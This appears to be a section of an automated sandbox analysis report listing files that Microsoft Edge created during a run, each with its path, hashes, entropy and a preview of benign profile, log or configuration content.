cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eba9424d-48e7-408f-8b16-c8a2cef598e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557712029878797
Encrypted:	false
SSDEEP:	768:EjaOh67pLGLPSbWPJRfJQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPummZrwBpHtuA:EjaOhScPSbWPJRfJQu1jaSDmqft/
MD5:	6ED2AC5DF8E181658B7CCAD99BD2CC79
SHA1:	A8469CE5D199523F1B4DA5FB7D90800F03D8A9F4
SHA-256:	905A5F3B6534FB7E0CCF21AA38FB610FF0505651BF10B743D6E85E4BE1DCC62B
SHA-512:	855B6A78037DA3E178423C5389B906F1BB92D108ADE6CE1C6831A3ABE9834FD6342EF6EF11649B1BC83A83804AAB0DC4490356888F4B8470D4E2E424FD43E561
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ec5772e8-a661-4934-9358-78335a8267fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112328607928543
Encrypted:	false
SSDEEP:	192:sthkdpSs2QIa34Hk/ccf8YbV+FXQQA4Eq7NICPpYJ:sthQSs2QXDBbGAQx37NIt
MD5:	25546DBA05C00DCDBE3A418CC1364F15
SHA1:	0DFBEC29270C81459FE89945D6345F3B56874949
SHA-256:	14BA9EF596B9578E93D3E95D420DF3AA0B246756F84B2E399A3656758892AE7E
SHA-512:	224B252A7B359ED032204BBA030606B4A1D59126AF779C220C625894D281F5483A05786D47770F07462A8C49C028B0ED208DC4EA721CF47345761CC6DAD5EF69
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377078212783815","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10242267976920523
Encrypted:	false
SSDEEP:	12:+XLe3XL9BspEjVl/PnnnnnnnnnnnvoQ/Eou:+i3YoPnnnnnnnnnnnv1j
MD5:	77E959D71499C19EAEA533EE533E47AD
SHA1:	41E02F138986707F5A9ECB02E4B976C8B12CBD19
SHA-256:	EA067ECA910F2F3FA4FE90FD82BE5A040A91D68D4961E355C60C382CB5B3586F
SHA-512:	2473E589EE9C762E0FB9B3F3A901D45661DD45DD5C05638E5165504AC16392B2DE117BF851663FA0B1B7FF061081E593DBBC70321BD59A58CE16A9FA8A43A443
Malicious:	false
Preview:	..-.............M.......}...:..8.XE6.:.....i."Y...-.............M.......}...:..8.XE6.:.....i."Y.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8868465803081769
Encrypted:	false
SSDEEP:	384:B1i+lLl+1Vkh+rc+u8c+OyN+NfP+JS+xra+931W+pv8SyJyjXyh4y1Uytxy4Hr:57f
MD5:	9A76B48DCC0F3A3CF06F7CB2D247FC63
SHA1:	53BB606435567C53B105C919D89A9DDB439494AA
SHA-256:	B144619ECD479F793AB1BE5E664E1D1FA4F6614BAEEE6C964A0D7EF0B769D5F7
SHA-512:	EF05A085DBEDF0A2A485F47D3E2F04F000BB0713B19118987BDC1D61FA62CE808EFC15807A6AE8F1D44ED42DC14121D819BF0EC06736F36912059A28904CDED1
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	3.9647898264662156
Encrypted:	false
SSDEEP:	12:lllc8zWrOuuuuuuuuuuu+UllSglzNlU82:tJE5l/38
MD5:	B119EF239F3DD3CE4428004303060C7B
SHA1:	1204C6F2F48BDE1E985C36DA7E592FD22FD82D8E
SHA-256:	E50FE5531ABA935315D580C64F35576CF1ACAE9F589ED2D126E094D3D9E09F74
SHA-512:	6C4ADF70BE75A1E46C1EC5FD6C9AEADCF30542B616226AD5995B9B4ECFB4EA0CE057AB7A8CC64E2ACFAE45ED982006332C0C10A2534B72B85FF69162CACEDCDF
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....V.......V............V.e................!-..0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.21213352232698
Encrypted:	false
SSDEEP:	6:HYzZ+yq2PCHhJ23oH+TcwtfrK+IFUt8YYzZo1Zmw+YY3pRkwOCHhJ23oH+TcwtfR:HyvBYeb23FUt8k/+3pR56Yeb3J
MD5:	0FD18F18586B96AA9EA44411E50F98CD
SHA1:	97779EFA2D914762AD6009F20988644F9B76B197
SHA-256:	0F986D24FA67CFA8C36BBDB8AD71B47DC6EAD0D86CE986D7878FFA2C7EB72CA4
SHA-512:	FB42F5E170A6F18BA2DFCD0BF0E3BEABC2654CFB43CED3F2D8E6A451962C5392F9D37718285EA698FD772C885287F1DF61BFB98B2064CF85747124160603DB3C
Malicious:	false
Preview:	2024/11/26-02:03:32.851 1ec4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-02:03:32.851 1ec4 Recovering log #3.2024/11/26-02:03:32.852 1ec4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.21213352232698
Encrypted:	false
SSDEEP:	6:HYzZ+yq2PCHhJ23oH+TcwtfrK+IFUt8YYzZo1Zmw+YY3pRkwOCHhJ23oH+TcwtfR:HyvBYeb23FUt8k/+3pR56Yeb3J
MD5:	0FD18F18586B96AA9EA44411E50F98CD
SHA1:	97779EFA2D914762AD6009F20988644F9B76B197
SHA-256:	0F986D24FA67CFA8C36BBDB8AD71B47DC6EAD0D86CE986D7878FFA2C7EB72CA4
SHA-512:	FB42F5E170A6F18BA2DFCD0BF0E3BEABC2654CFB43CED3F2D8E6A451962C5392F9D37718285EA698FD772C885287F1DF61BFB98B2064CF85747124160603DB3C
Malicious:	false
Preview:	2024/11/26-02:03:32.851 1ec4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-02:03:32.851 1ec4 Recovering log #3.2024/11/26-02:03:32.852 1ec4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.188467731011046
Encrypted:	false
SSDEEP:	6:HYslyq2PCHhJ23oH+TcwtfrzAdIFUt8YYU1Zmw+YYCRkwOCHhJ23oH+TcwtfrzId:BlyvBYeb9FUt8K/+CR56Yeb2J
MD5:	CDC1C62E83DB5EA0AE3B9BEE36D2FFFA
SHA1:	EB58E28B5A5E77FD92540119D6747646F9433129
SHA-256:	71BDD70CAA3A4182C85B390F98D5579C4477CB36D6A8BBDD40287937BA5B3B10
SHA-512:	C9176F88752DA52DDF1E04BDB07F90FFC9D481F51BDF4C6B7DEFE1A5D7D81877DE721375EDFA95D75E5A689F324D19019A6B6DF0F17C583F3B442D4D1BDCC18D
Malicious:	false
Preview:	2024/11/26-02:03:32.846 1ec4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-02:03:32.848 1ec4 Recovering log #3.2024/11/26-02:03:32.848 1ec4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.188467731011046
Encrypted:	false
SSDEEP:	6:HYslyq2PCHhJ23oH+TcwtfrzAdIFUt8YYU1Zmw+YYCRkwOCHhJ23oH+TcwtfrzId:BlyvBYeb9FUt8K/+CR56Yeb2J
MD5:	CDC1C62E83DB5EA0AE3B9BEE36D2FFFA
SHA1:	EB58E28B5A5E77FD92540119D6747646F9433129
SHA-256:	71BDD70CAA3A4182C85B390F98D5579C4477CB36D6A8BBDD40287937BA5B3B10
SHA-512:	C9176F88752DA52DDF1E04BDB07F90FFC9D481F51BDF4C6B7DEFE1A5D7D81877DE721375EDFA95D75E5A689F324D19019A6B6DF0F17C583F3B442D4D1BDCC18D
Malicious:	false
Preview:	2024/11/26-02:03:32.846 1ec4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-02:03:32.848 1ec4 Recovering log #3.2024/11/26-02:03:32.848 1ec4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28af0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28b2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28d23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b368.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f080.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.0905223139790925
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kICLmZtXtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	6A4D5D5DA1099356C1ED596E2F95305E
SHA1:	270D8BE5638F309BF7B7CE6C4F0105268BC8240B
SHA-256:	B649EA6F6EE10D2B555C625C1FBEF62CA8F9CEADD5210C94AFB8C5AD63D36993
SHA-512:	3BEDD063D0F01F84444FF192FCAAB033E6B41AB33B9117048C14D278936AE9A72768BDA83E6F7D4C60B12C36753570C8E71BC205217A95A12208506A7B062E7C
Malicious:	false
